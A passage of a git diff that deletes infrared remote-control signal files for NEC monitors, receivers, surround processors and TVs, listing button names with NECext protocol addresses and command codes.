00 00 00 -# -name: Tuner-PresetDown -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: Tuner-PresetUp -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: Tuner-TuneDown -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D3 00 00 00 -# -name: Tuner-TuneUp -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D4 00 00 00 -# -name: TapeB-Rev -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir deleted file mode 100644 index 5775e78b3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_CHANNEL_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: VCR_CHANNEL_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: VCR_VOLUME_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: VCR_VOLUME_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: VCR_TV/VCR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: VCR_ANT/AUX -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 19 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: VCR_RECALL -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1B 00 00 00 -# -name: VCR_TIMER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir deleted file mode 100644 index 0e890ad71..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: TV_VOLUME_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: TV_VOLUME_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV_ANT/AUX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: TV_TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: TV_RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir deleted file mode 100644 index 5d60160ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: VCR_REC/PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: VCR_FF_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir deleted file mode 100644 index 7f84d09ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_TRACH_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: CD_TRACK_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir deleted file mode 100644 index 84d176e8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 03 00 00 00 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 08 00 00 00 -# -name: AUDIO_MUTE -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 09 00 00 00 -# -name: REAR_VOLUME_+ -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 46 00 00 00 -# -name: REAR_VOLUME_- -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 47 00 00 00 -# -name: SURROUND_SELECTOR -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 49 00 00 00 -# -name: PRESET_VOLUME -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 4F 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 53 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 54 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 1A C5 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir deleted file mode 100644 index e74595893..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 10 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 11 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 12 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 13 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 14 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 15 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 16 00 00 00 -# -name: TUNER_8 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 17 00 00 00 -# -name: TUNER_9 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 18 00 00 00 -# -name: TUNER_0 -type: parsed -protocol: NECext -address: 1A E1 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir deleted file mode 100644 index 5cb2e554b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 02 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 03 00 00 00 -# -name: FULL_MUTE -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 09 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 0B 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 10 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 11 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 12 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 1B 00 00 00 -# -name: LEFT_(BALANCE) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 40 00 00 00 -# -name: RIGHT_(BALANCE) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 41 00 00 00 -# -name: FRONT_(BALANCE) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 42 00 00 00 -# -name: REAR_(BALANCE) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 43 00 00 00 -# -name: V_FRONT -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 45 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 47 00 00 00 -# -name: S.STEREO_(SURROUND) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 49 00 00 00 -# -name: DOLBY_(SURROUND) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 4A 00 00 00 -# -name: HALL_(SURROUND) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 4C 00 00 00 -# -name: STEREO_(SURROUND) -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 4D 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 50 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 51 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 52 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 53 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 54 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir deleted file mode 100644 index cb8a9c929..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 1A E7 00 00 -command: 04 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 1A E7 00 00 -command: 05 00 00 00 -# -name: TAPE_REC/PLAY -type: parsed -protocol: NECext -address: 1A E7 00 00 -command: 06 00 00 00 -# -name: TAPE_FF_>> -type: parsed -protocol: NECext -address: 1A E7 00 00 -command: 0C 00 00 00 -# -name: TAPE_REW_<< -type: parsed -protocol: NECext -address: 1A E7 00 00 -command: 0D 00 00 00 -# -name: TAPE_PAUSE_ -type: parsed -protocol: NECext -address: 1A E7 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir deleted file mode 100644 index 901ec4448..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir deleted file mode 100644 index 3fd26c534..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir +++ /dev/null @@ -1,500 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DELAY_TIME_L&R_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: DELAY_TIME_L&R_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: SS -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: FULL_MUTE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0C 00 00 00 -# -name: ECHO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: DELAY_TIME_L_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 18 00 00 00 -# -name: DELAY_TIME_L_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 19 00 00 00 -# -name: DELAY_TIME_R_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1A 00 00 00 -# -name: DELAY_TIME_R_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1B 00 00 00 -# -name: OUT1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1C 00 00 00 -# -name: OUT_1_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1D 00 00 00 -# -name: OUT2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1E 00 00 00 -# -name: OUT_2_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1F 00 00 00 -# -name: LEFT_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 40 00 00 00 -# -name: RIGHT_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 41 00 00 00 -# -name: OUT1_L -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 42 00 00 00 -# -name: OUT1_R -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 43 00 00 00 -# -name: OUT2_L -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 44 00 00 00 -# -name: OUT2_R -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 45 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 46 00 00 00 -# -name: BY-PASS -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 47 00 00 00 -# -name: HALL_SURROUND -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 48 00 00 00 -# -name: MATRIX_SURROUND -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 49 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4A 00 00 00 -# -name: CREATION -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4B 00 00 00 -# -name: 1_PRESET -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4C 00 00 00 -# -name: 2_PRESET -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4D 00 00 00 -# -name: 3_PRESET -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4E 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4F 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 50 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 51 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 52 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 53 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 54 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 55 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 56 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 57 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 80 00 00 00 -# -name: L/R_+_(DELAY_TIME) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 81 00 00 00 -# -name: L/R_-_(DELAY_TIME) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 82 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 83 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 84 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 85 00 00 00 -# -name: METER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 86 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 87 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 88 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 8A 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 8B 00 00 00 -# -name: FULL_MUTE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 8C 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 8E 00 00 00 -# -name: ECHO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 90 00 00 00 -# -name: L_+_(DELAY_TIME) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 98 00 00 00 -# -name: L_-_(DELAY_TIME) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 99 00 00 00 -# -name: R_+_(DELAY_TIME) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9A 00 00 00 -# -name: R_-_(DELAY_TIME) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9B 00 00 00 -# -name: OUT_1_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9C 00 00 00 -# -name: OUT_1_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9D 00 00 00 -# -name: OUT_2_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9E 00 00 00 -# -name: OUT_2_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9F 00 00 00 -# -name: OUT_1_L_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C2 00 00 00 -# -name: OUT_1_R_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C3 00 00 00 -# -name: OUT_2_L_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C4 00 00 00 -# -name: OUT_2_R_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C5 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C6 00 00 00 -# -name: STEREO_(SURR_SLCT) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C7 00 00 00 -# -name: DOLBY_(SURR_SLCT) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C8 00 00 00 -# -name: CREATION_(SURR_SLCT) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C9 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: CC 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: CD 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: CE 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: CF 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D0 00 00 00 -# -name: OUT_1_L_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D1 00 00 00 -# -name: OUT_1_R_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D2 00 00 00 -# -name: OUT_2_L_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D3 00 00 00 -# -name: OUT_2_R_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D4 00 00 00 -# -name: CENTER_^ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D5 00 00 00 -# -name: CENTER_V -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir deleted file mode 100644 index 85818d020..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MASTER_VOLUME_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 82 00 00 00 -# -name: MASTER_VOLUME_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 83 00 00 00 -# -name: FULL_MUTE -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 89 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 8D 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 8E 00 00 00 -# -name: PHANTOM -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 8F 00 00 00 -# -name: FRONT_LEFT_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 95 00 00 00 -# -name: FRONT_RIGHT_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 96 00 00 00 -# -name: REAR_LEFT_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 97 00 00 00 -# -name: REAR_RIGHT_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 98 00 00 00 -# -name: CENTER_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 99 00 00 00 -# -name: CENTER_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 9A 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 9B 00 00 00 -# -name: FRONT_LEFT_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 9C 00 00 00 -# -name: FRONT_RIGHT_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 9D 00 00 00 -# -name: REAR_LEFT_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 9E 00 00 00 -# -name: REAR_RIGHT_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: 9F 00 00 00 -# -name: FRONT_L/R_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: C4 00 00 00 -# -name: FRONT_L/R_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: C5 00 00 00 -# -name: REAR_L/R_^ -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: C6 00 00 00 -# -name: REAR_L/R_V -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: C7 00 00 00 -# -name: BY-PASS -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: CD 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: D5 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 1A E4 00 00 -command: D6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir deleted file mode 100644 index 1e2ae1834..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: RGB/PC -type: parsed -protocol: NECext -address: 